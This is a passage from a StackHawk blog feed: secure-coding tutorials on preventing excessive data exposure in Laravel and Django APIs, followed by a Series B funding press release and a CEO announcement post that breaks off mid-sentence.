implicitly relies on the server returning all of its data for a given entity.&lt;/p&gt;&lt;p&gt;For example, consider a typical e-commerce website. It stores client information, including names, emails, and addresses. Here&amp;#39;s an example API request for user Id #5 and the response. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This request for user Id #5 returns all of the available fields for the user, including the hashed password and an API token, two fields that no display application should even need. &lt;/p&gt;&lt;p&gt;
The architecture behind this application expects the display to use the fields it needs and discard the rest. But filtering data in display apps doesn&amp;#39;t mean it&amp;#39;s not visible. Any application with access to the API can retrieve this excess data, too. So, an attacker with a compromised password or even a spoofed account that has access to user records can retrieve all their information. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Protecting Laravel Applications From Excessive Data Exposure&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In the example above, we retrieved information for a user by Id. This idiom is typical in &amp;quot;CRUD&amp;quot; APIs, where applications request the data they need and display the relevant fields based on context. &lt;/p&gt;&lt;p&gt;
The response came from a Laravel server. Unfortunately, getting the application to return the excess data didn&amp;#39;t require any extra effort. Quite the opposite: the code was from a Laravel RESTful API tutorial. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;A Simple RESTful API&lt;/b&gt;&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;Laravel makes it easy to connect a web application to a database.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Most web frameworks advertise this as a feature, and they&amp;#39;re right. Instead of writing boilerplate database access code, the framework generates it for you, and you can get to work on your business logic. Laravel does this with its &lt;a href=&quot;https://laravel.com/docs/5.0/eloquent&quot;&gt;&lt;u&gt;Eloquent&lt;/u&gt;&lt;/a&gt; ORM. But, from a security standpoint, you might say that its design is optimistic. &lt;/p&gt;&lt;p&gt;The sample code used above has a user object with basic fields for user name, email, address, and basic authentication. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s the SQL table that stores the users: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;When we give Laravel an empty model class, it figures out how to add, update, retrieve, and delete users from this table for us. &lt;/p&gt;&lt;p&gt;So, here&amp;#39;s the model: &lt;/p&gt;&lt;p&gt;&lt;code&gt;class User extends Model
{
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;And here&amp;#39;s the controller (with the authentication code removed:) &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This code needs a few routes (that we don&amp;#39;t need to see here), and we have a working API. &lt;/p&gt;&lt;p&gt;But as we saw above, the default behavior is to return all of the fields in the model. This is true for any model that uses the default code. &lt;/p&gt;&lt;p&gt;The good news is that there are a few ways to make this code more secure. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Move Your Fields to a Different Table&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;If your application uses a SQL database, you might consider moving the fields related to authentication to a different table and giving them their own model. Separating concerns this way makes sense from both an architectural and maintenance standpoint. It&amp;#39;ll be easier to update your authentication model in the future and often makes your code easier to read. &lt;/p&gt;&lt;p&gt;But if you&amp;#39;re using a NoSQL database or have inherited a &amp;quot;mature&amp;quot; codebase, this might not be possible. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Filter Your Fields From JSON&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The default model code is generating a SQL query that looks something like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;select * from users where id=5&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;If we were writing the application by hand, we would probably consider rewriting the query to only select the fields we need. We could take that approach now and modify the model to use a similar query. &lt;/p&gt;&lt;p&gt;But, that would create some new problems. While the display applications should never see hashed passwords, the authentication system needs them. As soon as we started crippling the model, we created the need for multiple interfaces or even a second model for the back end. As a result, we&amp;#39;d only add a new set of maintenance issues. &lt;/p&gt;&lt;p&gt;Laravel addresses this problem by making it possible to retrieve all the data from the data store while hiding the excess data from JSON. As a result, it&amp;#39;s easy to prevent API clients from seeing certain fields while still making them accessible to backend model users. You do this by adding a &lt;b&gt;$hidden&lt;/b&gt; field to the model class. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s hide the password field: &lt;/p&gt;&lt;p&gt;&lt;code&gt;class User extends Model
{
    protected $hidden = [&amp;#39;password&amp;#39;];
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now, we rerun the query for user #5: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Laravel omitted the password field from the response. &lt;/p&gt;&lt;p&gt;
&lt;/p&gt;&lt;p&gt;The &lt;b&gt;$hidden&lt;/b&gt; field is an array, so you can use it to filter out all of the unwanted data. &lt;/p&gt;&lt;p&gt;&lt;code&gt;class User extends Model
{
    protected $hidden = [&amp;#39;password&amp;#39;, &amp;#39;created_at&amp;#39;, &amp;#39;updated_at&amp;#39;, &amp;#39;api_token&amp;#39;, &amp;#39;remember_token&amp;#39;, &amp;#39;email_verified_at&amp;#39; ];
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;
&lt;/p&gt;&lt;p&gt;Now we have a simple mechanism for  ensuring the no display application sees critical backend data: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;That Which Is Not Explicitly Permitted Is Denied&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The &lt;b&gt;$hidden&lt;/b&gt; field hides fields by name. It&amp;#39;s a powerful tool, but it might not be enough. Web code moves fast, and you may inadvertently add a new field to your model and forget to hide it.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;A safer security model is to define a set of fields that are allowed and only pass them to API users. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;The &lt;b&gt;$visible&lt;/b&gt; field defines the fields that are available to JSON. Laravel will not provide fields missing from this array to API requests. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s list name and email as the only visible fields: &lt;/p&gt;&lt;p&gt;&lt;code&gt;class User extends Model
{&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    protected $visible = [&amp;#39;name&amp;#39;, &amp;#39;email&amp;#39;];
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then run a query. &lt;/p&gt;&lt;p&gt;
&lt;code&gt;GET http://localhost:8000/api/user/5&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;{
  &amp;quot;name&amp;quot;: &amp;quot;Joe Customer&amp;quot;,
  &amp;quot;email&amp;quot;: &amp;quot;joe@example.com&amp;quot;
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;That&amp;#39;s nice and clean! &lt;/p&gt;&lt;p&gt;So, we have two robust mechanisms for filtering backend information from display clients and potential hackers. Depending on how you want to address the problem, you can either list the fields that are visible or hidden. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Filter Laravel Fields to Avoid Excess Data Exposure&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;We&amp;#39;ve looked at the problem of excess data exposure and how it can compromise your application&amp;#39;s security. Laravel&amp;#39;s robust model-viewer-controller features make it easy to put a RESTful API together, with a small amount of code. But, its behavior isn&amp;#39;t always what you want or need. We saw how the default model provides all available data to requestors. Then we looked at the tools &lt;a href=&quot;https://laravel.com/docs/5.0/eloquent&quot;&gt;&lt;u&gt;Eloquent&lt;/u&gt;&lt;/a&gt; provides to make filtering fields from API request easy. &lt;/p&gt;&lt;p&gt;So, you have the tools you need to address Excess Data Exposure in your Laravel code. It&amp;#39;s time to take the next step: StackHawk has the tools you need to keep your code and your clients safe. &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;Sign up for a free account&lt;/u&gt;&lt;/a&gt; and see how! &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Eric Goebelbecker. &lt;/i&gt;&lt;a href=&quot;http://ericgoebelbecker.com/&quot;&gt;&lt;i&gt;&lt;u&gt;Eric&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; has worked in the financial markets in New York City for 25 years, developing infrastructure for market data and financial information exchange (FIX) protocol networks. He loves to talk about what makes teams effective (or not so effective!).&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Django Excessive Data Exposure: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/django-excessive-data-exposure-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;We can perform all kinds of activities online, such as shopping, internet surfing, reading books, banking, and more. But have you considered how we&amp;#39;re able to receive so much information? It’s possible thanks to Application Programming Interfaces (APIs) that enable data sharing between an application&amp;#39;s different entities. Even though tasks are easy to accomplish with the &lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-overview/&quot;&gt;&lt;u&gt;help of APIs&lt;/u&gt;&lt;/a&gt;, we still have to deal with security issues. Is the data that&amp;#39;s shared over the internet secure? What if it&amp;#39;s hacked?  This brings us to excessive data exposure. In this article, we&amp;#39;ll define what it is, explain how it can be harmful, and cover it in one of the Python frameworks, &lt;a href=&quot;https://en.wikipedia.org/wiki/Django_(web_framework)&quot;&gt;&lt;u&gt;Django&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is Excessive Data Exposure?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When you build an application, there are certain data requirements. Some applications require real-time synchronization. In every application, you generally want to have access control over the data. But there are scenarios where there is no control over specific information, which causes excessive data exposure. Excessive data literally means extra data. Sometimes the client gets access to more data than what was requested. Exposing this extra data causes security and privacy issues. Sensitive information is prone to be leaked during communication, and hackers can easily take advantage. Let&amp;#39;s look at the cause of this vulnerability. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Causes Excessive Data Exposure in Django REST?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;An API is responsible for communication between software or websites. REST has been the standard way to design various web APIs, but it comes with some &lt;a href=&quot;https://www.stackhawk.com/blog/api-security-protection-from-vulnerabilities-with-design-and-testing/&quot;&gt;&lt;u&gt;weaknesses&lt;/u&gt;&lt;/a&gt;, including the over-fetching of data. Over-fetching simply means that the client downloads more information than required. Hence, it becomes vulnerable as the data can be leaked or hacked midway. How does this happen? REST functionality doesn&amp;#39;t give power to the front end to generate specific endpoints for the requested data. When the client requests data, the API sends the request to the server, and all the related information is passed to the client as a response. Therefore, the client gets a response with extra data that can possibly lead to data leakage. Let&amp;#39;s look at this problem using an example. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Example Use Case&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Consider a fashion store that has online services. Customers purchase outfits from the website by first logging in and submitting some relevant information. While purchasing, they use internet banking services where the data is stored on the server. Now, say the store is running a marketing campaign that requires information about its customers for further analysis to improve its sales. Let&amp;#39;s say it needs the names and addresses of customers from the database on the server. It would send the request below: https://apparel.com/api/customers/show?customer_id=1 The API would then send the request to the server and generate a response. The information given includes all the information about the customer. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The above data contains certain confidential information. If exposed, it can create a big problem. Therefore, you&amp;#39;ll need to remove the excess data before it reaches the client. If you want to dive deeper into this vulnerability, you can find a detailed guide on it &lt;u&gt;here&lt;/u&gt;. Now let&amp;#39;s discuss some of the techniques that can prevent excessive data. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;How to Prevent Excessive Data Exposure in Django&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;There are various ways to deal with data exposure.  &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;The client should not be responsible for filtering data. Hackers can easily get a hold of data at this stage. But if the server side filters the information, you can prevent this. If, on the other hand, you need to gather all this information, you should mask the data. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Encrypt the data during the transfer of information from one end to the other. If the data is leaked, the attacker won&amp;#39;t be able to decrypt it. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Automate APIs using various security tools so they&amp;#39;ll be alerted whenever something like this occurs. &lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Next let&amp;#39;s look at how excessive data exposure can occur in a REST API and how to fix it. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;REST Application in Django&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;First, let&amp;#39;s create a simple REST API in Django. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Create a New Django Project&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In order to create a new Django project, run the following command inside a directory of your choice: &lt;/p&gt;&lt;p&gt;&lt;code&gt;django-admin startproject user&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Next, jump into the project directory. This is where you&amp;#39;ll create a new Django application that consists of user information. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;django-admin startapp info&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Create Models in Django&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://docs.djangoproject.com/en/4.0/topics/db/models/&quot;&gt;&lt;u&gt;Models&lt;/u&gt;&lt;/a&gt; are the objects in Django that perform basic REST functionalities like create, update, read, and delete (CRUD). To do that, open the &lt;b&gt;models.py&lt;/b&gt; file in the info directory and add the following code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Then open &lt;b&gt;admin.py&lt;/b&gt; file and register the data models as shown below: &lt;/p&gt;&lt;p&gt;&lt;code&gt;from django.contrib import admin
from . models import user_info
# Register your models here.
admin.site.register(user_info)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Finally, migrate these models into the database using the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;python manage.py makemigrations
python manage.py migrate&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Run the Server&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;To run your Django server, use the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;
python manage.py runserver

&lt;/code&gt;&lt;/p&gt;&lt;p&gt;You should see the following update on your terminal.&lt;/p&gt;&lt;p&gt;Now let&amp;#39;s see what the application looks like.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Creating a Superuser&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;It&amp;#39;s time to create a superuser that will allow access to the admin page. &lt;/p&gt;&lt;p&gt;&lt;code&gt;python manage.py createsuperuser&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then enter a username and password. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Django Administration&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Now go to the admin page to add some data to the database by adding add &lt;b&gt;&lt;i&gt;/admin&lt;/i&gt;&lt;/b&gt; to the following URL: &lt;b&gt;http://127.0.0.1:8000/admin&lt;/b&gt; The page should look like this: &lt;/p&gt;&lt;p&gt;
Next, input your credentials to enter your admin page with access to the database and start adding data to your table. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Serialization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;After adding all the required data, create a &lt;b&gt;serialize.py&lt;/b&gt; file in the app directory. This will help translate the objects into data types in order to view them in formats like XML, JSON, etc., as a response. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;Views in Django&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The view is an important component in Django. It allows clients to make requests and generate a response. Hence, this component makes the required endpoints. So update the &lt;b&gt;views.py&lt;/b&gt; file. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;Final Output&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The last step is to create the URL to view the JSON data, i.e., the user list. The &lt;b&gt;urls.py&lt;/b&gt; of the main project should contain the following code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;
You can check the final result by clicking the URL &lt;b&gt;&lt;u&gt;http://127.0.0.1:8000/user&lt;/u&gt;&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;&lt;code&gt;
&lt;/code&gt;The API returned all the data from the database. But what if you want only some data? Django can return only the data a client wants after removing all the extra. Let&amp;#39;s check it out. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Django RESTQL&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;http://restql.b2w.io/&quot;&gt;&lt;u&gt;RESTQL&lt;/u&gt;&lt;/a&gt; is a package in Django that provides only specific data as a response from the server to the client. To import this package, first install it on your system. &lt;/p&gt;&lt;p&gt;&lt;code&gt;pip install django-restql&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In order to work with this package, the &lt;b&gt;serialize.py&lt;/b&gt; file will require some changes. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The package allows querying the data according to the requirements of the client. The response generated in the REST API consisted of all the data fields. Let&amp;#39;s suppose the client only wants to see the names of the users, meaning that data in other fields like ID and phone number are extra. In order to handle this, you can add the query to the URL. &lt;/p&gt;&lt;p&gt;&lt;b&gt;http://127.0.0.1:8000/user/?query={firstname, lastname}&lt;/b&gt;&lt;/p&gt;&lt;p&gt;You can see in the figure above that the output contains only the users&amp;#39; first and last names. This is how you can eliminate access to extra data and block an attacker&amp;#39;s entry. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion: Preventing Excessive Data Exposure in Django&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;With RESTful APIs, you have to carefully structure your responses and database queries so that you don&amp;#39;t accidentally send sensitive information back in the API. Filtering your back-end APIs according to what data the client requests will go a long way toward helping you avoid excessive data exposure. &lt;/p&gt;&lt;p&gt;
&lt;i&gt;This post was written by Siddhant Varma. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/siddhantvarma99/&quot;&gt;&lt;i&gt;&lt;u&gt;Siddhant&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a full-stack JavaScript developer with expertise in frontend engineering. He’s worked with scaling multiple startups in India and has experience building products in the Ed-Tech and healthcare industries. Siddhant has a passion for teaching and a knack for writing. He&amp;#39;s also taught programming to many graduates, helping them become better future developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk Raises $20.7 Million in Series B Funding]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-series-b-funding-press-release</guid><category><![CDATA[StackHawk News]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;&lt;b&gt;DENVER, Colo. - May 12, 2022 -&lt;/b&gt; StackHawk, the company making application security testing part of software delivery, has secured $20.7 million in capital co-led by &lt;a href=&quot;https://sapphireventures.com/&quot;&gt;&lt;u&gt;Sapphire&lt;/u&gt;&lt;/a&gt; and Costanoa Ventures, with participation from Foundry Group and other high-value investors. With this funding, StackHawk will invest in product development to maintain its market leading position in developer-first application and API security testing. This latest financing brings StackHawk’s total funding raised to $35.3 million.&lt;/p&gt;&lt;p&gt;
Every modern software development organization has shifted from quarterly releases to daily or hourly releases, incorporating Continuous Integration and Continuous Delivery (CI/CD). In the modern world of FinTech, HealthTech, cloud analytics and AI platforms, customers are entrusting their most critical data to software providers. Periodic manual security testing by an external team is simply too risky. Because of this, modern software development organizations are extending CI/CD to encompass Continuous Application and API Security Testing. This way, security can “shift left,” meaning vulnerabilities can be detected while the developer is actively working on the code.&lt;/p&gt;&lt;p&gt;Forrester reports that web application and API exploits are &lt;a href=&quot;https://www.forrester.com/report/the-state-of-application-security-2021/RES164041&quot;&gt;&lt;u&gt;the most common form of external attack&lt;/u&gt;&lt;/a&gt; affecting organizations today. To better protect from these threats, &lt;a href=&quot;https://www.forrester.com/report/the-state-of-application-security-2021/RES164041&quot;&gt;&lt;u&gt;43% of global security decision makers&lt;/u&gt;&lt;/a&gt; are looking to implement dynamic application security testing during software development. As a result, &lt;a href=&quot;https://www.gartner.com/en/documents/4013799&quot;&gt;&lt;u&gt;Gartner expects&lt;/u&gt;&lt;/a&gt; worldwide application security testing (AST) end-user spending to exceed $3.1 billion in 2022, which presents a massive opportunity for StackHawk.&lt;/p&gt;&lt;p&gt; “Security has never been more important than it is today. Organizations of all sizes across all industries know that they have a gap in how they approach security, and they are recognizing the need for what we do even before we speak with them,” said Joni Klippert, Co-Founder and CEO. “As the leader in advanced dynamic security testing, the market pull for our solution drove the funding round. We will use the new capital to continue to invest in our product, grow our leadership team and significantly increase funding for marketing, sales and partnerships. Our recently announced Snyk integration, which is already driving value with joint customers, is a great example of this.” &lt;/p&gt;&lt;p&gt;“There is a serious gap for modern tooling that helps teams efficiently deliver secure applications. In the same way CI/CD has revolutionized how developers deliver quality applications, StackHawk is ensuring security testing is an extension of the process, making security part of the code quality discussion for developers,” said &lt;a href=&quot;https://sapphireventures.com/team-member/david-hartwig/&quot;&gt;&lt;u&gt;David Hartwig&lt;/u&gt;&lt;/a&gt;, Partner at Sapphire Ventures and a Board Director at StackHawk. “Sapphire is excited to have seen the value in providing developer-first application and API security testing early on, leading StackHawk’s Series A. We are proud to reaffirm our commitment to StackHawk with this round as we feel Joni, the team and product are set to thrive in this high growth market.”
&lt;/p&gt;&lt;p&gt;“StackHawk’s track record of delivering is what made us want to co-lead this round. The executive team’s blend of expertise across security and DevOps has created a tool that every developer will need,” said Greg Sands, founder and managing partner of Costanoa Ventures. “From our experience investing in high-growth software companies, we know security is no longer optional. Finding modern security tooling is top of mind for today’s engineering leaders, especially for those in highly-regulated industries with strict regulations and compliance standards for data protection.”&lt;/p&gt;&lt;p&gt;
To learn more about the funding round and StackHawk’s approach to developer-first application and API security testing, visit &lt;a href=&quot;https://stackhawk.com&quot;&gt;&lt;u&gt;stackhawk.com&lt;/u&gt;&lt;/a&gt;. To see open roles at StackHawk visit &lt;a href=&quot;https://stackhawk.com/jobs&quot;&gt;&lt;u&gt;stackhawk.com/jobs&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;b&gt;About StackHawk&lt;/b&gt;&lt;/p&gt;&lt;p&gt;StackHawk is making application security testing part of software delivery. The StackHawk platform empowers engineers to easily find and fix application security bugs at any stage of software development. With a strong founding team that has deep experience in security and DevOps, and some of the best venture investors in the business, StackHawk is putting application security testing into the hands of engineers. Learn more and sign up for a free trial at &lt;a href=&quot;https://www.stackhawk.com&quot;&gt;&lt;u&gt;www.stackhawk.com&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;About Sapphire&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Sapphire is a leading global technology-focused venture capital firm with more than $10.2 billion in AUM and team members across Austin, London, New York, Palo Alto and San Francisco. For more than two decades, Sapphire has partnered with visionary management teams and venture funds to help scale companies of consequence. Since its founding, Sapphire has invested in more than 170 companies globally resulting in more than 30 IPOs and 45 acquisitions. The firm’s investment strategies — Sapphire Ventures, Sapphire Partners and Sapphire Sport — are focused on scaling companies and venture funds, elevating them to become category leaders. Sapphire’s Portfolio Growth team of experienced operators delivers a strategic blend of value-add services, tools and resources designed to support portfolio company leaders as they scale. To learn more about Sapphire, visit: &lt;a href=&quot;https://sapphireventures.com.&quot;&gt;https://sapphireventures.com.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;About Costanoa Ventures&lt;/b&gt;
Founded in 2012, Costanoa Ventures backs tenacious and thoughtful founders who change how business gets done. Costanoa invests early, starting at company formation, with a focus on apps and infrastructure in data, dev, fintech, and Web3. Costanoa is a long-term partner to entrepreneurs who want hands-on help in their earliest company stages. For more information, please visit &lt;a href=&quot;http://www.costanoavc.com/&quot;&gt;www.costanoavc.com&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Proudly Announcing StackHawk’s $20.7 Million in Series B Funding]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/proudly-announcing-stackhawks-series-b</guid><category><![CDATA[StackHawk News]]></category><dc:creator><![CDATA[Joni Klippert]]></dc:creator><content:encoded>&lt;p&gt;Following up on the announcement of our &lt;a href=&quot;https://www.stackhawk.com/blog/announcing-stackhawk-and-snyks-new-partnership/&quot;&gt;&lt;u&gt;partnership with Snyk&lt;/u&gt;&lt;/a&gt; in April, we are delighted to announce another big day for StackHawk. &lt;/p&gt;&lt;p&gt;We have secured $20.7M in fresh capital co-led by &lt;a href=&quot;https://sapphireventures.com/&quot;&gt;&lt;u&gt;Sapphire&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://www.costanoavc.com/&quot;&gt;&lt;u&gt;Costanoa Ventures,&lt;/u&gt;&lt;/a&gt; with participation from Foundry Group and other investors and long-time believers in StackHawk. This latest financing brings StackHawk’s total funding raised to $35.3 million.&lt;/p&gt;&lt;p&gt;With this funding, we have the opportunity to ramp up investment in product development and capitalize on a market that is desperate for a better way to approach application and API security testing. &lt;/p&gt;&lt;h3&gt;Let’s Rewind&lt;/h3&gt;&lt;p&gt;We started StackHawk nearly three years ago now when DevOps tooling and processes were beginning to mature. At that time, there was great concern about how security teams were going to keep up with the pace of software delivery. Dynamic application security testing (DAST) was a desired technology (I can’t tell you how many times I heard “if you could only automate DAST!”), yet a second class citizen that was hamstrung by its old reputation of taking multiple teams to deploy, days to run, and producing a PDF of results that just weren’t that helpful. &lt;/p&gt;&lt;p&gt;I was a Vice President of Product who had experienced this pain first hand. Security issues would get dumped on my plate and marked as top priority fixes. I had to make a decision about interrupting sprints and delaying feature releases versus fixing security issues which often lacked context.&lt;/p&gt;&lt;p&gt;I knew the way security testing worked was fundamentally broken, and in July of 2019, we put together the team to deliver on a product and GTM motion to fix it.&lt;/p&gt;&lt;h3&gt;An Evolving Market, Three Years Later&lt;/h3&gt;&lt;p&gt;Now, three years later, we are in a market where security has never been more important, and organizations across industries of all types and sizes are rapidly changing how they approach security.&lt;/p&gt;&lt;p&gt;No longer are technical decision makers looking for security tools that can only find security issues after code has been shipped to production. Instead, the market is demanding solutions that make application and API security testing part of software development.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.forrester.com/report/the-state-of-application-security-2021/RES164041&quot;&gt;&lt;u&gt;43% of global security decision makers&lt;/u&gt;&lt;/a&gt; are looking to implement dynamic application security testing during software development as they try to keep their most critical data safe. &lt;/p&gt;&lt;p&gt;StackHawk has proven that security doesn’t have to be an “either/or&amp;#39;&amp;#39; decision with feature delivery. We bake security testing in from the start which has a massive impact on the quality of the code being shipped to production. Transforming how teams identify and fix application and API security issues is the mandatory next step in making software delivery efficient, while driving quality. &lt;/p&gt;&lt;p&gt;Now is the time to accelerate product investment and extend our leadership in what the market is demanding:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Continuous Security Testing in CI/CD: &lt;/b&gt;Continuous Integration/Continuous Delivery (CI/CD) has become a mainstay in modern software development organizations. StackHawk extended this to include Continuous Security Testing baked into existing DevOps pipelines, with security issues being surfaced and fixed early in the software delivery lifecycle, just like any other bug.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Coverage of Modern Application Architecture:&lt;/b&gt; Today’s software is generally built on a microservices architecture, with the most sensitive data often accessed at the API layer. StackHawk conducts traditional web application testing like other players in the market, but has also built market leading API security testing functionality for REST, SOAP, and GraphQL APIs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Correlation and Actionability:&lt;/b&gt; StackHawk is built for developers to own the security testing of the code they write. When issues are found, StackHawk makes it simple for a developer to fix the issue. With the recently released integration with Snyk, not only are developers equipped natively in StackHawk to debug, but they can also see correlations to Snyk Code findings to identify which line of code contains the vulnerability.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Looking Ahead&lt;/h3&gt;&lt;p&gt;We are building StackHawk to be the de-facto choice for developers that need application and API security testing. The world of security is fundamentally changing and the market is demanding new solutions that legacy vendors simply can’t provide.&lt;/p&gt;&lt;p&gt;Beyond investing in product, we are laser-focused on making it much easier for developers to hit the ground running with StackHawk. From &lt;a href=&quot;https://www.stackhawk.com/blog/new-stackhawk-scanner/&quot;&gt;&lt;u&gt;our CLI&lt;/u&gt;&lt;/a&gt; that we introduced earlier this year, to new product integrations, the developer-experience is front and center of what we will deliver moving forward.&lt;/p&gt;&lt;h3&gt;Growing the Nest&lt;/h3&gt;&lt;p&gt;If you want to learn more about StackHawk, &lt;a href=&quot;https://www.stackhawk.com/demo/&quot;&gt;watch a demo on demand here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;We have also completely revamped our onboarding experience to provide users with all they need to get automated security testing stood up quickly. &lt;a href=&quot;https://auth.stackhawk.com&quot;&gt;&lt;u&gt;Sign-up for a StackHawk&lt;/u&gt;&lt;/a&gt; account and get scanning.&lt;/p&gt;&lt;p&gt;And, if you want to work with the greatest humans imaginable, check out our &lt;a href=&quot;https://stackhawk.com/jobs/&quot;&gt;&lt;u&gt;jobs board&lt;/u&gt;&lt;/a&gt; and see the openings we have across our team.&lt;/p&gt;&lt;p&gt;This is only the beginning, and I look forward to sharing our success with all of you today and in the exciting future 